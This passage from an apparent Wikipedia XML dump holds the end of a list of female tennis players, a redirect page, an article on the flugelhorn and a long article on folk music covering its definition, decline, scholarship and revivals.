* [[Gabriela Sabatini]] (Argentina) - 1990 '''U.S. Open champion'''; 1991 Wimbledon finalist; 1987, 1988, 1991, 1992 and 1993 French Open semi-finalist; 1989, 1992, 1993 and 1994 Australian Open semi-finalist; 1988 and 1994 '''WTA Tour Championships champion''', 1987 and 1990 finalist
* [[Lucie Šafářová]] (Czech Republic)
* [[Dinara Safina]] (Russia)
* [[Maria Emilia Salerni]] (Argentina)
* [[Maria Sanchez Lorenzo]] (Spain)

* '''[[Arantxa Sánchez Vicario]]''' (Spain) - 1989, 1994 and 1998 '''French Open champion'''; 1994 '''U.S. Open champion'''; 1994 and 1995 Australian Open finalist; 1995 and 1996 Wimbledon finalist ranked '''World No. 1'''

* [[Mara Santangelo]] (Italy)
* [[Kazuko Sawamatsu]] (Japan)
* [[Naoko Sawamatsu]] (Japan)
* [[Claudine Schaul]] (Luxembourg)
* [[Barbara Schett]] (Austria) - 1999 U.S. Open quarter-finalist; ranked World No. 7 in 1999
* [[Francesca Schiavone]] (Italy) - 2001 French Open quarter-finalist; 2003 U.S. Open quarter-finalist; ranked World No. 15 in 2004
* [[Patty Schnyder]] (Switzerland) - 2004 Australian Open semi-finalist; 1998 French Open quarter-finalist; 1998 U.S. Open quarter-finalist; ranked World No. 8 in 1999
* [[Julia Schruff]] (Germany)
* [[Brenda Schultz-McCarthy]] (Netherlands) - 1995 Wimbledon quarter-finalist; 1995 U.S. Open quarter-finalist

* '''[[Monica Seles]]''' (Yugoslavia/USA) - 1991, 1992, 1993 and 1996 '''Australian Open champion'''; 1990, 1991 and 1992 '''French Open champion'''; 1991 and 1992 '''U.S. Open champion'''; 1992 Wimbledon finalist; 1990, 1991 and 1992''' WTA Tour Championships champion'''; ranked '''World No. 1'''

* [[Milagros Sequera]] (Venezuela)
* [[Magui Serna]] (Spain) - 2000 Wimbledon quarter-finalist
* [[Adriana Serra Zanetti]] (Italy) - 2002 Australian Open quarter-finalist
* [[Antonella Serra Zanetti]] (Italy) 
* [[Selima Sfar]] (Tunisia)

* '''[[Maria Sharapova]]''' (Russia) - 2004 '''Wimbledon champion''', 2005 semi-finalist; 2005 U.S. Open semi-finalist; 2004 and 2005 French Open quarter-finalist; 2004 '''WTA Tour Championships champion'''; ranked '''World No. 1''' for 7 weeks

* [[Meghann Shaughnessy]] (USA) - 2003 Australian Open quarter-finalist
* [[Pam Shriver]] (USA) - 1981, 1982 and 1983 U.S. Open semi-finalist; 1981, 1987 and 1988 Wimbledon semi-finalist; 1982 and 1983 U.S. Open semi-finalist; 1988 WTA Tour Championships finalist
* [[Anna Smashnova]] (Israel)
* [[Abigail Spears]] (USA)
* '''[[Hilde Sperling]]''' (Germany) - 1935, 1936, 1937 '''French Championships champion'''
* [[Irina Spirlea]] (Romania)
* [[Karolina Sprem]] (Croatia) - 2004 Wimbledon quarter-finalist
* [[Katarina Srebotnik]] (Slovenia)
* [[Alexandra Stevenson]] (USA) - 1999 U.S. Open semi-finalist
* [[Samantha Stosur]] (Australia)
* [[Betty Stove]] (Netherlands) - 1977 Wimbledon finalist
* [[Barbora Strýcová]] (Czech Republic)
* [[Rennae Stubbs]] (Australia)
* [[Paola Suarez]] (Argentina) - 2004 French Open semi-finalist; 2003 U.S. Open quarter-finalist; 2004 Wimbledon quarter-finalist
* [[Martina Sucha]] (Slovakia)
* [[Ai Sugiyama]] (Japan) - 2000 Australian Open quarter-finalist; 2004 Wimbledon quarter-finalist
* [[Helena Suková]] (Czechoslovakia) - 1984 and 1989 Australian Open finalist; 1986 and 1993 U.S. Open finalist; 1986 Wimbledon semi-finalist; 1985, 1986, 1987, 1988 and 1993 Wimbledon quarter-finalist
* [[Věra Suková]] (Czechoslovakia)
* [[Tiantian Sun]] (China)
* [[May Sutton]] (USA)

==T-Z==
* [[Silvija Talaja]] (Croatia)
* [[Tamarine Tanasugarn]] (Thailand)
* [[Catherine Tanvier]] (France)
* [[Nathalie Tauziat]] (France) - 1998 Wimbledon finalist; 1991 French Open quarter-finalist; 2000 U.S. Open quarter-finalist
* [[Judy Tegart]] (Australia)
* [[Andrea Temesvari]] (Hungary)
* [[Sandrine Testud]] (France)
* [[Valérie Tétreault]] (Canada)
* [[Christine Truman|Christine Truman-Janes]] (Britain) - 
* [[Wendy Turnbull]] (Australia) - 1981 and 1984 Australian Open semi-finalist; 1984 U.S. Open semi-finalist; 1981 Wimbledon quarter-finalist
* [[Nicole Vaidišová]] (Czech Republic)
* [[Julia Vakulenko]] (Ukraine)
* [[Dominique van Roost]] (Belgium) 
* [[Maria Vento-Kabchi]] (Venezuela)
* [[Roberta Vinci]] (Italy)
* '''[[Virginia Wade]]''' (England) - 1968 '''U.S. Open champion'''; 1977 '''Wimbledon champion'''
* [[Mashona Washington]] (USA)
* [[Marlene Weingartner]] (Germany)
* [[Stephanie Wetmore]] (Canada)

* '''[[Serena Williams]]''' (USA) - 1999 and 2002 '''U.S. Open champion'''; 2002 '''French Open champion'''; 2002 and 2003 '''Wimbledon champion''', 2004 finalist; 2003 and 2005 '''Australian Open champion'''; 2001 '''WTA Tour Championships champion''', 2002 and 2004 finalist; ranked '''World No. 1''' for 52 weeks 

* '''[[Venus Williams]]''' (USA) - 2000, 2001 and 2005 '''Wimbledon champion''', 2002 and 2003 finalist; 2000 and 2001 '''U.S. Open champion''', 1997 finalist; 2002 French Open finalist; 2003 Australian Open finalist; ranked '''World No. 1''' for 11 weeks

* [[Yan Zi (tennis player)|Zi Yan]] (China) - 2005 '''Australian Open Women's double champion'''
* [[Jie Zheng]] (China) - 2005 '''Australian Open Women's double champion'''
* [[Fabiola Zuluaga]] (Colombia) - 2004 Australian Open semi-finalist
* [[Natasha Zvereva]] (Belarus) - 1988 French Open finalist; 1998 Wimbledon semi-finalist; 1993 U.S. Open quarter-finalist 1995 Australian Open quarter-finalist
* [[Vera Zvonareva]] (Russia) - 2003 French Open quarter-finalist; ranked World No. 9 in 2004


'''See also:''' [[List of male tennis players]], [[List of tennis players]], [[List of sportsmen]]

[[Category:Lists of sportspeople|Tennis players, female]]
[[Category:Lists of women|Tennis players]]
[[Category:Tennis players|Tennis players]]

[[de:Liste von Tennisspielern]]
[[fr:Liste des joueurs de tennis]]
[[it:Lista di tenniste]]
[[nl:Lijst van tennissters]]
[[ja:テニス選手一覧 (女子)]]</text>
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  <page>
    <title>Fundamental Theorem of Calculus</title>
    <id>10621</id>
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      <id>15908421</id>
      <timestamp>2002-05-08T19:30:42Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Fundamental theorem of calculus]]</comment>
      <text xml:space="preserve">#redirect [[Fundamental theorem of calculus]]
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  </page>
  <page>
    <title>Flugelhorn</title>
    <id>10622</id>
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      <id>40363398</id>
      <timestamp>2006-02-20T01:50:20Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
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      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Category:Brass instruments]]
[[image:Flugel-lhside-large.jpg|thumb|250px|A standard 3-valved Bb flugelhorn.]]
The '''flugelhorn''' (also spelled '''fluegelhorn''' or '''flügelhorn''') is a [[brass instrument]] resembling a [[cornet]] but with a wider, conical [[bore]]. It is thought by some to be a member of the [[saxhorn]] family developed by [[Adolphe Sax]] (who also developed the [[saxophone]]); however, other historians assert that it is a member of the keyed bugle family, long predating Adolphe Sax's innovative work  [http://www.rickcarlson.com/brass/fluegelhorn.html]. 

The original German spelling of ''Flügelhorn'' translates into english as ''wing horn''.  One possible [[etymology]] is that the instrument was used on the battlefield to summon the flanks, or wings, of an army into battle [http://dictionary.reference.com/search?q=flugelhorn].

The flugelhorn is built in the same B-flat pitch as many [[trumpet]]s and [[cornet]]s. It usually has three piston valves and employs the same fingering system as other brass instruments. Four valve and rotary valve variants also exist.  It can thus be played without too much trouble by trumpet and cornet players, though some adaptation may be needed to their playing style. It is usually played with a more deeply conical [[mouthpiece]] than either trumpets or cornets (though not as conical as that on a [[horn (instrument)|horn]]).

The tone is fatter and usually regarded as more &quot;mellow&quot; and &quot;dark&quot; than that of the trumpet or cornet. It has a similar level of agility to the cornet but is more difficult to control in the high register where in general it &quot;slots&quot; or locks on to notes less easily. It is not generally used for aggressive or bright displays as both trumpet and cornet can be, but tends more towards a softer and more reflective role. Its main areas of use are in [[jazz]] and in the [[brass band]], though it does get occasional use in orchestral writing. The flugelhorn is the melody-instrument of a [[fanfare]]-orchestra.

[[Miles Davis]] was a pioneer in the use of the flugelhorn in jazz on the ''[[Miles Ahead]]'' project arranged by [[Gil Evans]], although he did not use it much on later projects.  Other prominent practioners include [[Clark Terry]], [[Freddie Hubbard]], [[Art Farmer]], [[Jimmy Owens]], [[Chet Baker]], [[Chuck Mangione]], [[Woody Shaw]] and [[Tom Harrell]]. 

Some modern flugels are built with a fourth valve which takes them down in pitch an extra fourth, adding a useful area of low range which when coupled with the dark sound gives an interesting extension to the instrument's abilities. More often, however, the fourth valve is used in place of the first and third valve combination, which is somewhat sharp (and which is flattened on trumpets and cornets and some three-valve flugelhorns by a &quot;kicker&quot; slide on the first and/or third valve.)

==External links==

*[http://www.dallasmusic.org/gearhead/Flugelhorn%20Guide.html An enthusiast's flugelhorn guide] with many details of individual makes etc.

[[de:Bügelhorn]]
[[fa:فلوگل‌هورن]]
[[fr:Bugle]]
[[he:פלוגלהורן]]
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  <page>
    <title>Folk music</title>
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      <timestamp>2006-03-02T06:33:40Z</timestamp>
      <contributor>
        <ip>60.228.47.12</ip>
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      <comment>/* Defining folk song */</comment>
      <text xml:space="preserve">'''Folk music''', in the original sense of the term, is [[music]] by and of the common people. 

==Overview==
Folk music arose, and best survives, in societies not yet affected by mass communication and the commercialization of culture.  It normally was shared by the entire community (and its performance not strictly limited to a special class of expert performers), and was transmitted by word of mouth.

During the 20th and 21st century, the term ''folk music'' took on a second meaning:  it describes a particular kind of [[popular music]] which is culturally descended from or otherwise influenced by traditional folk music.  Like other popular music, this kind of folk music is most often performed by experts and is transmitted in organized performances and commercially distributed recordings. However, popular music has filled some of the roles and purposes of the folk music it has replaced.

''Folk music'' is somewhat synonymous with '''''traditional music'''''.  Both terms are used semi-interchangeably amongst the general population; however, some musical communities that actively play living folkloric musics (see [[Irish traditional music]] for a specific example), have adopted the term ''traditional music'' as a means of distinguishing their music from the popular music called &quot;folk music,&quot; especially the post-1960s &quot;[[singer-songwriter]]&quot; genre.  See also: [[World music]].

==Defining folk song==
[[image:Musicians.jpg|350px|thumb|Armenian folk musicians]]

&quot;Folk song  is usually seen as the [[wiktionary:authentic|authentic]] expression of a way of life now, past or about to disappear (or in some cases, to be preserved or somehow revived). Unfortunately, despite the assembly of an enormous body of work over some two centuries, there is still no unanimity on what folk music (or folklore, or the folk) 'is'&quot; (Middleton 1990, p.127).

[[Gene Shay]], co-founder and host of the [[Philadelphia Folk Festival]],  defined ''folk music'' in an April 2003 interview by saying: &quot;In the strictest sense, it's music that is rarely written for [[profit]]. It's music that has endured and been passed down by [[oral tradition]]. [...] And folk music is participatory&amp;mdash;you don't have to be a great musician to be a folk singer. [...] And finally, it brings a sense of community. It's the people's music.&quot;  

The English term ''folk,'' which gained usage in the [[18th century]] (during the Romantic period) to refer to peasants or non-literate peoples, is related to the [[German language|German]] word ''Volk'' (meaning ''people'' or ''[[nation]]'').  The term is used to emphasize that folk music emerges spontaneously from communities of ordinary people. &quot;As the complexity of social stratification and interaction became clearer and increased, various conditioning criteria, such as 'continuity', 'tradition', 'oral transmission', 'anonymity' and uncommercial origins, became more important than simple social categories themselves.&quot;

Charles Seeger (1980) describes three contemporary defining criteria of folk music (Middleton 1990, p.127-8):
# A &quot;schema comprising four musical types: 'primitive' or 'tribal'; 'elite' or 'art'; 'folk'; and 'popular'. Usually...folk music is associated with a lower class in societies which are culturally and socially stratified, that is, which have developed an elite, and possibly also a popular, musical culture.&quot; Cecil Sharp (1972), A.L. Lloyd ().
# &quot;Cultural processes rather than abstract musical types...''continuity'' and ''oral transmission''...seen as characterizing one side of a cultural dichotomy, the other side of which is found not only in the lower layers of feudal, capitalist and some oriental societies but also in 'primitive' societies and in parts of 'popular cultures'.&quot; Redfield (1947) and Dundes (1965).
# Less prominent, &quot;a rejection of rigid boundaries, preferring a conception, simply of varying practice within ''one'' field, that of 'music'.&quot;

[[David Harker]] (1985) argues that &quot;folk music&quot; is, in [[Peter van der Merwe]]'s words, &quot;a meaningless term invented by 'bourgeois' commentators&quot;. Jazz musician [[Louis Armstrong]] and blues musician [[Big Bill Broonzy]] have both been attributed the remark &quot;All music is folk music. I ain't never heard a horse sing a song.&quot;

==Subjects of folk music==
Apart from [[instrumental music]] that forms a part of folk music, especially [[dance music]] traditions, much folk music is [[vocal music]], since the instrument that makes such music is usually handy.  As such, most folk music has [[lyric]]s, and is about something.  

[[Narrative verse]] looms large in the folk music of many cultures.  This encompasses such forms as traditional [[epic poetry]], much of which was meant originally for oral performance, sometimes accompanied by instruments.  Many epic poems of various cultures were pieced together from shorter pieces of traditional narrative verse, which explains their episodic structure and often their ''[[in medias res]]'' plot developments.  Other forms of traditional narrative verse relate the outcomes of [[battle]]s and other tragedies or natural disasters.  Sometimes, as in the triumphant ''[[Song of Deborah]]'' found in the [[Bible|Biblical]] ''[[Book of Judges]]'', these songs celebrate victory.  Laments for lost battles and wars, and the lives lost in them, are equally prominent in many folk traditions; these laments keep alive the cause for which the battle was fought.  The narratives of folk songs often also remember [[folk hero]]es such as [[John Henry]] to [[Robin Hood]].  Some folk song narratives recall [[supernatural]] events or mysterious deaths.  

[[Hymn]]s and other forms of [[religious music]] are often of traditional and unknown origin.  Western [[musical notation]] was originally created to preserve the lines of [[Gregorian chant]], which before its invention was taught as an oral tradition in [[monasticism|monastic]] communities.  Folk songs such as ''[[Green grow the rushes, O]]'' present religious lore in a mnemonic form.  In the Western world, [[Christmas carol]]s and other traditional songs preserve religious lore in song form.  

Other sorts of folk songs are less exalted.  [[Work song]]s are composed; they frequently feature [[call and response (music)|call and response]] structures, and are designed to enable the labourers who sing them to coordinate their efforts in accordance with the rhythms of the songs.  In the [[armed force]]s, a lively tradition of [[jody call]]s are sung while soldiers are on the march. Professional sailors made use of a large body of [[shanty|sea shanties]].  [[Love poetry]], often of a tragic or regretful nature, prominently figures in many folk traditions.  [[Nursery rhyme]]s and [[nonsense verse]] also are frequent subjects of folk songs.

==Variation in folk music==
Music transmitted by word of mouth though a community will, in time, develop many variants, because this kind of transmission cannot produce word-for-word and note-for-note accuracy.  Indeed, many traditional folk singers are quite creative and deliberately modify the material they learn.

Because variants proliferate naturally, it is naïve to believe that there is such a thing as the single &quot;authentic&quot; version of a [[ballad]] such as &quot;[[Barbara Allen]].&quot;  Field researchers in folk song (see below) have encountered countless versions of this ballad throughout the English-speaking world, and these versions often differ greatly from each other.  None can reliably claim to be the original, and it is quite possible that whatever the &quot;original&quot; was, it ceased to be sung centuries ago.  Any version can lay an equal claim to authenticity, so long as it is truly from a traditional folksinging community and not the work of an outside editor.

[[Cecil Sharp]] had an influential idea about the process of folk variation:  he felt that the competing variants of a folk song would undergo a process akin to biological [[natural selection]]:  only those new variants that were the most appealing to ordinary singers would be picked up by others and transmitted onward in time.  Thus, over time we would expect each folksong to become esthetically ever more appealing &amp;mdash; it would be collectively composed to perfection, as it were, by the community.

On the other hand, there is also evidence to support the view that transmission of folk songs can be rather sloppy.  Occasionally, collected folk song versions include material or verses incorporated from different songs that makes little sense in its context.  A perfect process of natural selection would not have permitted these incoherent versions to survive.

==The decline of folk traditions in modern societies==
Folk music seems to reflect a universal impulse of humanity.  No fieldwork expedition by [[cultural anthropology|cultural anthropologists]] has yet discovered a preindustrial people that did not have its own folk music.  It seems safe to infer that folk music was a property of all people starting from the dawn of the species.

However, the development of modern society--first literacy, then the conversion of culture into a salable commodity--created a new form of transmission of music that first influenced, then in some societies essentially eliminated the original folk tradition.  The decline of folk music in a culture can be followed through three stages. 

===Stage I:  Urban influence===
One of the first folk traditions impacted by modern society was the folksong of rural England.  Starting in [[Elizabethan]] times, urban poets wrote [[ballad|broadsheet ballad]]s that (thanks to printing) could be sold widely.  The ballads probably didn't need musical notation, since they would have been sung to tunes that everybody knew, the folk tradition being very much alive at the time.  These ballads heavily influenced the folk tradition, but did not override it.  In fact, the folk tradition showed great resilience.  Through the process of folk transmission, the urban ballads were modified, keeping the more vivid content and ironing out the less &quot;citified&quot; material.  The resulting body of folk lyrics is widely considered to be a very appealing blend.  Thus, the printing press and widespread literacy did not suffice to destroy the English folk tradition, but in some ways enriched it.

The English folk song legacy was probably affected by urban melodies as well as words.  The clue here is that folk music in remote rural areas of the English-speaking world, such as [[Scottish Highlands|Highland]] [[Scotland]] or the [[Appalachian mountains]], abounds in tunes that employ the [[pentatonic scale]], a scale widely used for folk music around the world.  However, pentatonic music was rare among the rural English villagers who first volunteered their tunes to researchers in the late 19th century.  A plausible explanation is that life in rural England was far more closely affected by the proximity to the urban centers.  Music in the standard major and minor scales evidently penetrated to the nearby rural areas, where it was converted to folk idiom, but nevertheless succeeded in displacing the old pentatonic music.

===Stage II:  Replacement of folk music by popular music===
The pattern of urban influence on folk music was intensified to outright destruction as soon as the [[capitalism|capitalist]] economic system had developed to the point that music could be packaged and distributed for the purpose of earning a profit--in other words, when [[popular music]] was born.  It was around [[Victorian era|Victorian times]] that ordinary people of the Western world were first offered music as a mass commodity, for example, in the phenomenon of [[Music Hall]].  

The introduction of popular music was simultaneous with the latter part of the [[Industrial Revolution]].  This was a time of great change in lifestyle for the great body of the people, notably the migration of the old agrarian communities to the new industrial ones.  It is likely that the resulting social disruption helped cut people's emotional bonds to their old folk music, and thereby helped the shift in taste toward popular music.

As technology advanced, succeeding generations became enticed with popular music in ever more accessible and desirable forms. [[Gramophone]] records became [[Vinyl record|LPs]] and then [[Compact disc|CDs]]; the Music Hall gave way to [[radio]], followed by [[television]].  With the ever-increasing success of popular music, the musical life of many individuals eventually ceased to include any folk music at all.  Moreover, since popular music for most people is passive music (that is, listened to, but not created or performed), the overwhelming success of popular music also entailed a sharp decline of music as an active, participatory activity.

===Stage III:  Loss of musical ability in the community===
The terminal state of the loss of folk music can be seen in the United States and a few similar societies, where except in isolated areas and among hobbyists, traditional folk music no longer survives.  In the absence of folk music, many individuals do not sing.  It is possible that non-singers feel intimidated by widespread exposure in recordings and broadcasting to the singing of skilled experts.  Another possibility is that they simply cannot sing, because they did not sing when they were small children, when learning of skills takes place most naturally. 

There is [[anecdotal evidence]] that the loss of singing ability is continuing rapidly at the present time.  As recently as the 1960s, audiences at American sporting events collectively sang the American [[The Star-Spangled Banner|national anthem]] before a game; the anthem is now generally assigned to a recording or to a soloist.

Inability to sing is apparently unusual in a traditional society, where the habit of singing folk song since early childhood gives everyone the practice needed to able to sing at least reasonably well.

===Regional variation===
The loss of folk music is occurring at different rates in different regions of the world.  Naturally, where industrialization and commercialization of culture are most advanced, so tends to be the loss of folk music.  Yet in nations or regions where folk music is a badge of cultural or national identity, the loss of folk music can be slowed; this is held to be true, for instance in the case of [[Hungary]], [[Ireland]], [[Brittany]], and [[Galicia (Spain)|Galicia]], [[Music_of_Greece|Greece]] and [[Music_of_Crete|Crete]] all of which retain their traditional music to some degree.

==Fieldwork and scholarship on folk music==
Starting in the 19th century, interested people - academics and amateur scholars - started to take note of what was being lost, and there grew various efforts aimed at preserving the music of the people.  One such effort was the collection by [[Francis James Child]] in the late [[19th century]] of the texts of over three hundred [[ballad]]s in the English and Scots traditions (called the [[Child Ballads]]). Contemporaneously came the Reverend [[Sabine Baring-Gould]], and later and more significantly [[Cecil Sharp]] who worked in the early [[20th century]] to preserve a great body of English rural folk song, music and dance, under the aegis of what became and remains the [[English Folk Dance and Song Society]] (EFDSS).  Sharp also worked in America, recording the folk songs of the Appalachian Mountains in 1916-1918 in collaboration with [[Maud Karpeles]] and [[Olive Dame Campbell]]. 

Around this time, composers of [[European classical music|classical music]] developed a strong interest in folk song collecting, and a number of outstanding composers carried out their own field work on folk song.  These included [[Percy Grainger]] and [[Ralph Vaughan Williams]] in England and [[Béla Bartók]] in Hungary.  These composers, like many of their predecessors, incorporated folk material into their classical compositions.

In America, during the [[1930s]] and [[1940s]], the [[Library of Congress]] worked through the offices of musicologist [[Alan Lomax]] and others to capture as much American field material as possible.  

Often, fieldworkers in folk song hoped that their work would restore folk music to the people.  For instance, Cecil Sharp campaigned, with some success, to have English folk songs (in his own heavily edited and expurgated versions) to be taught to schoolchildren.  

One theme that runs through the great period of scholarly folk song collection is the tendency of certain members of the &quot;folk&quot;, who were supposed to be the object of study, to become scholars and advocates themselves.  For example, [[Jean Ritchie]] was the youngest child of a large family from Viper, Kentucky that had preserved many of the old Appalachian folk songs.  Ritchie, living in a time when the Appalachians had opened up to outside influence, was university educated and ultimately moved to New York City, where she made a number of classic recordings of the family repertoire and published an important compilation of these songs.

==Folk revivals==
As folk traditions decline, there is often a conscious effort to resuscitate them.  Such efforts are often exerted by bridge figures such as Jean Ritchie, described above.  Folk revivals also involve collaboration between traditional folk musicians and other participants (often of urban background) who come to the tradition as adults.  

The folk revival of the 1950's in Britain and America had something of this character.  In [[1950]] Alan Lomax came to [[United Kingdom|Britain]], where at a Working Men's Club in the remote Northumberland mining village of Tow Law he met two other seminal figures: [[A.L._Lloyd|A.L.'Bert' Lloyd]] and [[Ewan MacColl]], who were performing folk music to the locals there. Lloyd was a colourful figure who had travelled the world and worked at such varied occupations as sheep-shearer in [[Australia]] and [[sea shanty|shanty-man]] on a whaling ship. MacColl, born in Salford of Scottish parents, was a brilliant playwright and songwriter who had been strongly politicised by his earlier life.  MacColl had also learned a large body of Scottish traditional songs from his mother.  The meeting of MacColl and Lloyd with Lomax is credited with being the point at which the British [[roots revival]] began.  The two colleagues went back to London where they formed the [[Ballads and Blues Club]] which eventually became renamed the [[Singers' Club]] and was the first, as well as the most enduring, of what became known as [[folk clubs]].  As the [[1950s]] progressed into the [[1960s]], the folk revival movement built up in both Britain and America. 

Another example is the Hungarian model, the ''[[tanchaz]]'' movement. This model involves strong cooperation between musicology experts and enthusiastic amateurs, resulting in a strong vocational foundation and a very high professional level. They also had the advantage that rich, living traditions of Hungarian folk music and folk culture still survived in rural areas, especially in [[Transylvania]]. The involvement of experts meant an effort to understand and revive folk traditions in their full complexity. Music, dance, and costumes remained together as they once had been in the rural communities: rather than merely reviving folk music, the movement revived broader folk traditions. Started in the [[1970s]], ''tanchaz'' soon became a massive movement creating an alternative leisure activity for youths apart from discos and music clubs&amp;mdash;or one could say that it created a new kind of music club. The ''tanchaz'' movement spread to ethnic Hungarian communities around the world. Today, almost every major city in the U.S. and Australia has its own Hungarian folk music and folk dance group; there are also groups in Japan, Hong Kong, Argentina and Western Europe.

See also: [[blues]], [[Harry Everett Smith]].

==The emergence of popular folk artists==
During the twentieth century, a crucial change in the history of folk music began.  Folk material came to be adopted by talented performers, performed by them in concerts, and disseminated by recordings and broadcasting.  In other words, a new genre of [[popular music]] had arisen.  This genre was linked by nostalgia and imitation to the original traditions of folk music as it was sung by ordinary people.  However, as a popular genre it quickly evolved to be quite different from its original roots.

Confusingly, popular (''i.e.'', commercially-disseminated) music based on a folk tradition is called &quot;folk music&quot;, no matter how different it may be from a folk music rooted in the community.  As a result, some individuals in a modern society are unaware that folk music of the original variety ever existed.  For instance, many Americans, including some musicians, appear to believe that &quot;folk music&quot; has always meant a genre of song dominated by simplistic guitar accompaniments and primarily oriented towards political protest, humourous schtick, and/or obssessive musing on bad relationships and other personal &quot;issues.&quot;

The rise of folk music as a popular genre began with performers whose own lives were rooted in the authentic folk tradition. Thus, for example, [[Woody Guthrie]] began by singing songs he remembered his mother singing to him as a child.  Later, in the [[1930s]] and [[1940s]], Guthrie both collected folk music and also composed his own songs, as did [[Pete Seeger]], who was the son of a professional [[musicologist]]. Through dissemination on commercial recordings, this vein of music became popular in the United States during the [[1950s]], through singers like [[the Weavers]] (Seeger's group), [[Burl Ives]], [[Harry Belafonte]] and the [[Kingston Trio]], who tried to reproduce and honor the work that had been collected in preceding decades. The commercial popularity of such performers probably peaked in the U.S. with the [[ABC Hootenanny]] [http://www.tvtome.com/Hootenanny/] television series in 1963, which was cancelled after the arrival of the Beatles, the &quot;British invasion&quot; and the rise of folk-rock. 

The itinerant folksinger lifestyle was exemplified by [[Ramblin' Jack Elliott]], a disciple of Woody Guthrie who in turn influenced [[Bob Dylan]]. Sometimes these performers would locate scholarly work in libraries and revive the songs in their recordings, for example in [[Joan Baez]]'s rendition of &quot;Henry Martin,&quot; which adds a [[guitar]] accompaniment to a version collected and edited by Cecil Sharp. Publications like [[Sing Out!]] [http://singout.org/] magazine helped spread both traditional and composed songs, as did folk-revival-oriented record companies. 

Many of this group of popular folk singers maintained an idealistic, leftist/progressive political orientation. This is perhaps not surprising.  Folk music is easily identified with the ordinary working people who created it, and preserving treasured things against the claimed relentless encroachments of [[capitalism]] is likewise a goal of many politically progressive people. Thus, in the [[1960s]] such singers as [[Joan Baez]], [[Phil Ochs]] and [[Bob Dylan]] followed in [[Woody Guthrie|Guthrie's]] footsteps and to begin writing &quot;[[protest song|protest music]]&quot; and [[topical song]]s, particularly against the [[Vietnam War]], and likewise expressed in song their support for the [[American Civil Rights Movement (1955-1968)|American Civil Rights Movement]]. The influential Welsh-language singer-songwriter, [[Dafydd Iwan]], may also be mentioned as a similar example operating in a different cutural context. Some critics, especially proponents of the ethnocentric [[Neofolk]] genre, claim that this type of American 'progressive' folk is not folk music at all, but 'antifolk'. This is based on the idea that as liberal politics generally eschews the importance of ethnicity, it is incompatible with all [[folkish]] traditions. Proponents of this view often cite [[romantic nationalism]] as the only political tradition that 'fits' with folk music.

In [[Ireland]], [[The Clancy Brothers &amp; Tommy Makem]] (although the members were all Irish born, the group became famous while based in New York's Greenwich Village, it must be noted), [[The Dubliners]], [[Clannad]], [[Planxty]], [[The Chieftains]], [[The Pogues]] and a variety of other folk bands have done much over recent years to revitalise and repopularise [[Irish traditional music]].  These bands were rooted, to a greater or lesser extent, in a living tradition of Irish music, and they benefitted from collection efforts on the part of the likes of [[Seamus Ennis]] and [[Peter Kennedy]], among others.

In [[Hungary]], the group [[Muzsikas|Muzsikás]] and the singer [[Marta Sebestyen|Márta Sebestyén]] became known throughout the world due to their numerous American tours and their participation in the Hollywood movie ''[[The English Patient]]'' and [[Marta Sebestyen|Sebestyén's]] work with the [[Deep Forest]] band. 

===The blending of folk and popular genres===
The experience of the last century suggests that as soon as a folk tradition comes to be marketed as popular music, its musical content will quickly be modified to become more like popular music.  Such modified folk music often incorporates [[electric guitar]]s, [[drum kit]], or forms of rhythmic [[syncopation]] that are characteristic of popular music but were absent in the original.  

One example of this sort is contemporary [[country music]], which descends ultimately from a rural American folk tradition, but has evolved to become vastly different from its original model.  [[Hip hop music|Rap]] music evolved from an African-American inner-city folk tradition, but is likewise very different nowadays from its folk original.  A third example is contemporary [[Bluegrass music|bluegrass]], which is a professionalised development of American [[old time music]], intermixed with [[blues]] and [[jazz]].

As less traditional forms of folk music gain popularity, one often observes tension between so-called &quot;purists&quot; or &quot;traditionalists&quot; and the innovators.  For example, traditionalists were indignant when [[Bob Dylan]] began to use an electric guitar. His electrified performance at the [[1965]] [[Newport Folk Festival]] was to prove to be an early focal point for this controversy.

Sometimes, however, the exponents of amplified music were bands such as [[Fairport Convention]], [[Pentangle (band)|Pentangle]], [[Mr. Fox]] and [[Steeleye Span]] who saw the electrification of traditional musical forms as a means to reach a far wider audience, and their efforts have been largely recognised for what they were by even some of the most die-hard of purists. Traditional folk music forms also merged with [[rock and roll]] to form the hybrid generally known as [[folk rock]] which evolved through performers such as [[The Byrds]], [[Simon and Garfunkel]], [[The Mamas and the Papas]], and many others. 

Since the [[1970s]] a genre of &quot;contemporary folk&quot;, fuelled by new singer-songwriters, has continued to make the coffee-house circuit and keep the tradition of acoustic non-classical music alive in the United States. Such artists include [[Steve Goodman]], [[John Prine]], [[Cheryl Wheeler]], [[Bill Morrisey]], [[Christine Lavin]] and [[Gundula Krause]].  Lavin in particular has become prominent as a leading promoter of this musical genre in recent years.  Some, such as Lavin and Wheeler, inject a great deal of humor in their songs and performances, although much of their music is also deeply personal and sometimes satirical. While from Ireland [[The Pogues]] and [[The Corrs]] brought traditional tunes back into the [[album]] charts.


In the 1980s a group of artists like [[Phranc]] and [[The Knitters]] propagated a form of folk music also called [[country punk]] or [[folk punk]], which eventually evolved into [[Alt country]]. More recently the same spirit has been embraced and expanded on by performers such as [[Dave Alvin]], [[Ani DiFranco]], and [[Steve Earle]]. At the same time, a line of singers from Baez to [[Phil Ochs]] have continued to use traditional forms for original material.

The appropriation of folk has even continued into [[hard rock]] and [[heavy metal music|heavy metal]], with bands such as [[Skyclad (band)|Skyclad]], [[Waylander (band)|Waylander]] and [[Finntroll]] melding distinctive elements of folk styles from a wide variety of traditions, including in many cases traditional instruments such as [[fiddle]]s, [[tin whistle]]s and [[bagpipes]] as an element of their sound. Unlike other folk-related genres, [[folk metal]] shies away from monotheistic religion in favour of more ancient [[Paganism|pagan]] inspired themes.

A similar stylistic shift, without using the &quot;folk music&quot; name, has occurred with the phenomenon of [[Celtic music]], which in many cases is based on an amalgamation of [[Irish traditional music]], [[Music of Scotland|Scottish traditional music]], and other traditional musics associated with lands in which [[Celtic language]]s are or were spoken (regardless of any significant research showing that the musics have any genuine genetic relationship; so [[Breton music]] and [[Galician music]] are often included in the genre).

'''[[Neofolk]]''' music is a modern form of music that began in the 1980's. Fusing traditional European folk music with [[post-industrial (music)|post-industrial]] music forms, historical topics, philosophical commentary, traditional songs and [[paganism]], the genre is largely European. Although it is not uncommon for neofolk artists to be entirely acoustic, playing with entirely traditional instruments.

